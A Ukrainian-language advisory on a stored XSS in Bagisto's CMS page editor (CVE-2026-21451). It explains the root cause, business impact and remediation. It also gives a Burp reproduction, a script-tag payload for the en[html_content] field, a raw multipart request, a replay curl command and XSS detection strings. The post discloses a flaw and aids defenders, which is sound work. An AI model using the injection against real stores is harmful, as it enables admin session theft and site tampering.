Огляд CVE-2026-21451
CVE-2026-21451 — це Stored XSS у Bagisto (Laravel-based eCommerce). Вразливість знаходиться в CMS page editor і дозволяє зберегти довільний JavaScript у контенті сторінки, який згодом виконується під час перегляду або редагування цієї сторінки.
Умови виникнення та задіяні компоненти
- Bagisto версій до 2.3.10.
- Admin panel (CMS page editor) та endpoint оновлення CMS сторінки.
- UI-level sanitization, яка намагається прибрати/обгорнути <script>, але не застосовується server-side при прямій модифікації HTTP request.
Affected Versions і статус виправлення
- Vulnerable: Bagisto < 2.3.10.
- Patched: Bagisto ≥ 2.3.10.
Impact: що це означає для бізнесу
- Account takeover для admin через session hijacking (крадіжка cookies/CSRF tokens у браузері адміністратора).
- Небажані зміни в каталозі/цінах/замовленнях/контенті (defacement, підміна реквізитів, шахрайські редіректи).
- Компрометація довіри клієнтів і репутаційні втрати (malvertising, skimming, сторонні JS-інʼєкції).
- Фінансові втрати через шахрайство, простій продажів, інцидент-реагування, можливі штрафи/регуляторні наслідки при витоку даних.
Рекомендації для менеджерів (OWASP / CIS / NIST)
1) Негайні дії (зменшення ризику)
- Оновити Bagisto до 2.3.10 або новішої (пріоритет: high).
- Обмежити доступ до CMS лише до строго необхідних ролей (least privilege) та переглянути список користувачів із правами на редагування сторінок.
- Увімкнути MFA для admin, провести ротацію admin sessions (forced logout) після оновлення.
2) Best practices на постійній основі
- OWASP: гарантувати server-side output encoding та input sanitization для HTML-rich полів; не покладатися на client-side validation.
- Впровадити Content Security Policy (CSP) для зменшення впливу XSS (мінімізувати inline scripts, за можливості використовувати nonce/strict-dynamic).
- NIST/CIS: централізований logging для admin actions, алерти на зміни CMS контенту та аномальні запити до admin endpoints.
Чому уразливість працює
Security boundary порушується тому, що sanitization застосовується на рівні UI (в браузері) і не є гарантією. Атакер перехоплює raw HTTP POST request, напряму вставляє <script> у поле з HTML-контентом, і backend приймає це як довірені дані. У результаті payload зберігається в database та виконується при наступному рендері сторінки.
Data flow і точка збою
- Admin відкриває CMS editor (наприклад, /admin/cms/edit/1).
- UI готує запит оновлення сторінки (multipart/form-data) і може «очищати» HTML перед відправкою.
- Атакер (або шкідливий/скомпрометований admin user) змінює тіло запиту в Burp Suite перед відправкою.
- Backend не виконує достатнє server-side sanitization/encoding для поля контенту.
- Stored payload рендериться в браузері при перегляді сторінки (storefront) або під час повторного редагування в адмінці.
PoC: відтворення через Burp (canonical PoC)
Передумови
- Bagisto (vulnerable) інсталяція та доступ до admin panel.
- Burp Suite (Proxy/Repeater) або аналог для перехоплення HTTP.
Кроки відтворення
- Зайдіть у admin panel.
- Відкрийте сторінку редагування CMS: /admin/cms/edit/1.
- Почніть збереження змін (Save/Update), але перехопіть outbound request у Burp.
- У перехопленому multipart/form-data знайдіть поле en[html_content] і вставте raw <script> payload.
- Відправте модифікований запит на сервер.
- Перейдіть на відповідну сторінку в storefront (наприклад, /page/about-us) і перевірте виконання JavaScript.
Фрагмент payload, який інʼєктується в en[html_content]
<div class="static-container">
<div class="mb-5">About Us Page Content</div>
<div class="mb-5"> </div>
<div class="mb-5">PoC</div>
</div>
<script>alert('cybercrew.co.jp')</script>HTTP request приклад (Burp Repeater, частина з screenshot)
Нижче наведено фрагмент multipart/form-data з поля, які видимі в PoC. Повні headers (Host, Cookie, CSRF) і точний path update endpoint залежать від вашої інсталяції та мають бути зняті з перехопленого запиту без змін.
Content-Disposition: form-data; name="_method"
PUT
------WebKitFormBoundaryxaC6jl2pRYHpEqhc
Content-Disposition: form-data; name="_locale"
en
------WebKitFormBoundaryxaC6jl2pRYHpEqhc
Content-Disposition: form-data; name="en[html_content]"
<div class="static-container">
<div class="mb-5">About Us Page Content</div>
<div class="mb-5"> </div>
<div class="mb-5">PoC</div>
</div>
<script>alert('cybercrew.co.jp')</script>
------WebKitFormBoundaryxaC6jl2pRYHpEqhc
Content-Disposition: form-data; name="en[meta_title]"
about usПрактичний PoC через curl
Важливо: цей PoC вимагає валідної admin session (Cookie) і типово CSRF token. Також необхідно знати точний update endpoint, який ваш Bagisto викликає при збереженні CMS (перехопіть його в Burp і підставте як {CMS_UPDATE_URL}). Не вигадуйте поля: просто скопіюйте ваш перехоплений request і змініть лише en[html_content] на payload вище.
Варіант 1: повторити перехоплений HTTP request «як є»
Minimal fix: якщо у вашому перехопленому запиті присутній CSRF-параметр (часто "_token"), його треба залишити без змін, інакше backend відхилить запит.
curl -i -s -k "{CMS_UPDATE_URL}" \
-H "Cookie: {ADMIN_COOKIE}" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxaC6jl2pRYHpEqhc" \
--data-binary $'------WebKitFormBoundaryxaC6jl2pRYHpEqhc\r
Content-Disposition: form-data; name="_method"\r
\r
PUT\r
------WebKitFormBoundaryxaC6jl2pRYHpEqhc\r
Content-Disposition: form-data; name="_locale"\r
\r
en\r
------WebKitFormBoundaryxaC6jl2pRYHpEqhc\r
Content-Disposition: form-data; name="en[html_content]"\r
\r
<div class="static-container">\r
<div class="mb-5">About Us Page Content</div>\r
<div class="mb-5"> </div>\r
<div class="mb-5">PoC</div>\r
</div>\r
\r
<script>alert('cybercrew.co.jp')</script>\r
------WebKitFormBoundaryxaC6jl2pRYHpEqhc\r
Content-Disposition: form-data; name="en[meta_title]"\r
\r
about us\r
------WebKitFormBoundaryxaC6jl2pRYHpEqhc--\r
'Очікуваний результат
- HTTP 302 redirect після оновлення CMS (типово редірект назад у /admin/cms).
- Під час відкриття сторінки в storefront (наприклад, /page/about-us) виконується alert з рядком "cybercrew.co.jp".
Workarounds, detection ideas та логування
Workarounds до патчу
- Тимчасово вимкнути/обмежити CMS editor або прибрати права на редагування сторінок для більшості ролей.
- Встановити WAF/Reverse proxy rule для admin CMS update endpoint, який блокує <script> та інші активні HTML/JS конструкції в multipart/form-data (з розумінням можливих false positives).
- Налаштувати CSP (навіть у report-only) для виявлення inline script execution.
Detection
- Перевірити CMS контент на наявність рядків на кшталт "<script", "javascript:", "onerror=", "onload=" (з урахуванням можливого encoding/obfuscation).
- Логи: аномальні зміни CMS сторінок, часті оновлення, або підозрілі multipart requests до admin CMS endpoints.
- Browser telemetry: несподівані outbound requests (beacons) зі сторінок CMS (ознака XSS payload, який краде дані).
Висновок
CVE-2026-21451 — класичний приклад того, як client-side sanitization не є контролем безпеки. Єдиний надійний підхід: server-side sanitization/encoding + принцип найменших привілеїв для CMS + CSP та аудит змін контенту. Практична дія №1 — апдейт до Bagisto 2.3.10+.

Коментарі
Поки що немає коментарів. Будьте першим!
Залишити коментар
Ваша електронна адреса не буде опублікована.